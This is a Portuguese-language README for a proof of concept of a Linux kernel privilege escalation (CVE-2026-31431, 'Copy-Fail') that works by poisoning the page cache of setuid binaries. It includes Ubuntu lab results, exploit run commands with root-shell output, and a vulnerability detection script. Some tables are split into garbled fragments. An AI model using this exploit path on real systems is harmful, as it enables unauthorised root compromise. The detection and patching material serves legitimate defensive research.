
Prova de conceito de exploit para CVE-2026-31431 (Copy-Fail), uma falha do kernel Linux em AF_ALG e splice() que permite envenenamento do cache de páginas e escalonamento local de privilégios. Inclui análise, resultados de laboratório e script de detecção.
Este repositório contém uma análise aprofundada, Prova de Conceito (PoC) e resultados de testes de laboratório para a vulnerabilidade CVE-2026-31431, popularmente conhecida como "Copy-Fail".
O Copy-Fail explora uma falha lógica na API de Criptografia do Kernel Linux (AF_ALG) combinada com a chamada de sistema splice(). Ela permite que um atacante local sem privilégios realize Envenenamento de Cache de Páginas (Page Cache Poisoning), levando à Escalação Local de Privilégios (LPE).
Diferentemente de exploits tradicionais que modificam arquivos no disco, o Copy-Fail tem como alvo o Cache de Páginas (RAM) diretamente. Quando um arquivo é lido, o kernel armazena uma cópia na RAM para melhorar o desempenho. Devido a um bug de gerenciamento de memória no algoritmo authenc em versões específicas do kernel, um atacante pode enganar o kernel para sobrescrever essas páginas de memória "somente leitura".
Ao envenenar as páginas de memória de binários SETUID como /usr/bin/su, é possível contornar a autenticação e obter um shell root.
Os testes foram conduzidos em múltiplas distribuições Ubuntu, examinando especificamente o impacto do backporting do kernel e do gerenciamento de patches.
| Distribuição | Versão do Kernel | Data do Patch | Resultado | Observação |
|---|---|---|---|---|
| Ubuntu 24.04 | 6.8.0-87-generic | Out 2025 | ❌ Falhou | Atualizações de segurança ativas |
| Ubuntu 22.04 | 5.15.0-125-generic | Set 2024 | ✅ SUCESSO | Vulnerável (Sem Patch) |
| Ubuntu 18.04 | 4.15.0-197-generic | Nov 2022 | ✅ SUCESSO | Vulnerável (Sem Patch) |
Os números de versão do kernel podem ser enganosos. Enquanto kernels "mais novos" como o 6.8 são protegidos por patches de segurança, kernels mais antigos ou EOL (Fim de Vida) como 4.15 e 5.15 permaneceram totalmente vulneráveis devido à falta de correções com backport.
Durante a pesquisa, um resultado impressionante foi obtido ao testar dois sistemas Ubuntu 22.04 diferentes compartilhando a mesma versão principal do kernel:
| Versão do Kernel |
|---|
Este teste prova que a segurança do sistema não pode ser medida apenas pelo número da versão principal. Um servidor executando 5.15.0-125 pode ser comprometido em segundos, enquanto o 5.15.0-170 bloqueia completamente o ataque.
Saída de Exploração Bem-sucedida (Kernel 5.15.0-125):
$ python3 ubuntu_22.04_copy_fail_exploit.py
[*] Envenenando /usr/bin/su (Ubuntu 22.04 / Kernel 5.15)...
[+] Exploit concluído. Acionando Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#
A PoC foi desenvolvida usando ctypes para garantir compatibilidade entre diferentes versões do Python (especificamente para versões sem suporte nativo a os.splice).
sudo modprobe af_alg algif_aead authenc echainiv
python3 final_exploit.py
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su zehirleniyor (Kernel 4.15)...
[+] Bellek zehirlendi! Root tetikleniyor...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
# 1. Verifique a versão do kernel
# uname -r
# 2. Verifique os módulos carregados (Seguro se não houver saída)
# lsmod | grep -E "algif_aead|authencesn"
# 3. Teste Crítico — bind authencesn
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('[!] CRÍTICO — Sistema Vulnerável!')
s.close()
except:
print('[+] Seguro — authencesn inacessível')
"
# 4. Hash do binário setuid (referência)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd
Tabela de Avaliação:
| Resultado | Significado |
|---|---|
| Sem saída do lsmod + erro de bind | ✅ Seguro |
| Saída do lsmod existe OU bind bem-sucedido | ⚠️ Vulnerável, aplique patches imediatamente |
Aviso Legal: Esta pesquisa e PoC são apenas para fins educacionais e de testes de segurança autorizados. O uso em sistemas não autorizados pode resultar em consequências legais.
| Data do Patch |
|---|
| Resultado |
|---|
| Status |
|---|
| 5.15.0-125 | Set 2024 | ✅ SUCESSO | Vulnerável (Exploit Acionado) |
| 5.15.0-170 | Jan 2026 | ❌ FALHOU | Seguro (Com Patch) |